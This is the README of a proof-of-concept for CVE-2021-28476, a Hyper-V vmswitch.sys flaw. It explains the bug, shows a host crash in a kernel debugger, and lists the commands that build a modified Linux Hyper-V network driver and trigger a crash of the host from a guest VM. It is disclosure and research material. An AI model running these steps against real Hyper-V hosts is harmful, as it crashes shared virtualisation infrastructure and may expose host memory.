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CVE-2021-28476: a guest-to-host "Microsoft Hyper-V Remote Code Execution Vulnerability" in vmswitch.sys.
This is a proof of concept for CVE-2021-28476 ("Hyper-V Remote Code Execution Vulnerability"), an arbitrary memory read in vmswitch.sys (network virtualization service provider) patched by Microsoft in May 2021.
The vulnerability was found by @australeo, @ergot86, @peleghd and @OphirHarpaz. It is triggerable by a guest virtual machine sending a malicious RNDIS packet over VMBus (which is a channel-based communication mechanism used for inter-partition communication).
This is what the host system crash looks like in a debugger:
*** Fatal System Error: 0x0000007e
(0xFFFFFFFFC0000005,0xFFFFF80AD4A41A63,0xFFFFB70DD7EB7028,0xFFFFB70DD7EB6860)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
nt!DbgBreakPointWithStatus:
fffff801`31412c50 cc int 3
kd> .cxr 0xffffb70dd7eb6860
rax=fffff80ad4bc7214 rbx=fffff80ad4bf62a0 rcx=0000000000000000
rdx=00000000047a2807 rsi=ffffb70dd7eb7420 rdi=ffffa58caa318f00
rip=fffff80ad4a41a63 rsp=ffffb70dd7eb7260 rbp=ffffa58caa318fe0
r8=0000000000000000 r9=000000000000013b r10=deadbeefbaadc0be
r11=ffffb70dd7eb7230 r12=fffff80ad4bc73d0 r13=00000000c0000001
r14=00000000000021f0 r15=fffff80ad4bc7360
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00050246
vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb:
fffff80a`d4a41a63 418b4a20 mov ecx,dword ptr [r10+20h] ds:002b:deadbeef`baadc0de=????????
kd> kp
# Child-SP RetAddr Call Site
00 ffffb70d`d7eb7260 fffff80a`d4a3ee41 vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb
01 ffffb70d`d7eb7300 fffff80a`d4a3fc76 vmswitch!VmsIfrInfoParamsNdisOidRequestBuffer+0x14d
02 ffffb70d`d7eb7380 fffff80a`d4a3c779 vmswitch!RndisDevHostHandleSetMessage+0x196
03 ffffb70d`d7eb7420 fffff801`3136f423 vmswitch!RndisDevHostControlMessageWorkerRoutine+0x199
04 ffffb70d`d7eb74c0 fffff801`3123a975 nt!IopProcessWorkItem+0x93
05 ffffb70d`d7eb7530 fffff801`3132ce85 nt!ExpWorkerThread+0x105
06 ffffb70d`d7eb75d0 fffff801`31412408 nt!PspSystemThreadStartup+0x55
07 ffffb70d`d7eb7620 00000000`00000000 nt!KiStartSystemThread+0x28
The bug itself happens in VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST which is a function that can be called with attacker-controlled data (which it shouldn't) and dereference twice a pointer (boom->_win below) that a malicious guest virtual machine can provide.
If this is interesting to you, @peleghd and @OphirHarpaz will be discussing this in details as well as the discovery process in a BlackHat USA 2021 presentation entitled hAFL1: Our Journey of Fuzzing Hyper-V and Discovering a 0-Day.
Running the PoC
The easiest way to run the PoC is to create a Linux virtual machine running the latest Ubuntu Focal.
Once this is done, clone the matching kernel sources:
$ uname -a
Linux tourdeforce 5.4.0-73-generic #82-Ubuntu SMP Wed Apr 14 17:39:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
$ git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git
$ cd ubuntu-focal
$ git checkout Ubuntu-5.4.0-73.82
$ git branch fbl_vswitch
$ git checkout fbl_vswitch
Replace ~/ubuntu-focal/drivers/net/hyperv/netvsc_drv.c by src/netvsc_drv.c, ~/ubuntu-focal/drivers/net/hyperv/rndis_filter.c by src/rndis_filter.c and ~/ubuntu-focal/drivers/net/hyperv/hyperv_net.h by src/hyperv_net.h (full diff available in cve-2021-28476.diff):
$ sudo apt-get install git build-essential kernel-package fakeroot libncurses5-dev libssl-dev ccache bison flex libelf-dev dwarves
$ cp /boot/config-5.4.0-73-generic .config
$ make oldconfig
$ make modules
$ make M=drivers/net/hyperv
Finally, trigger the issue by loading the module and change the ethernet address of the network interface (this action triggers the specific code-path we added in rndis_filter.c / netvsc_set_mac_addr):
$ sudo rmmod hv_netvsc && insmod drivers/net/hyperv/hv_netvsc.ko
$ sudo ifconfig eth0 hw ether 00:11:22:33:44
Authors
- Axel '@0vercl0k' Souchet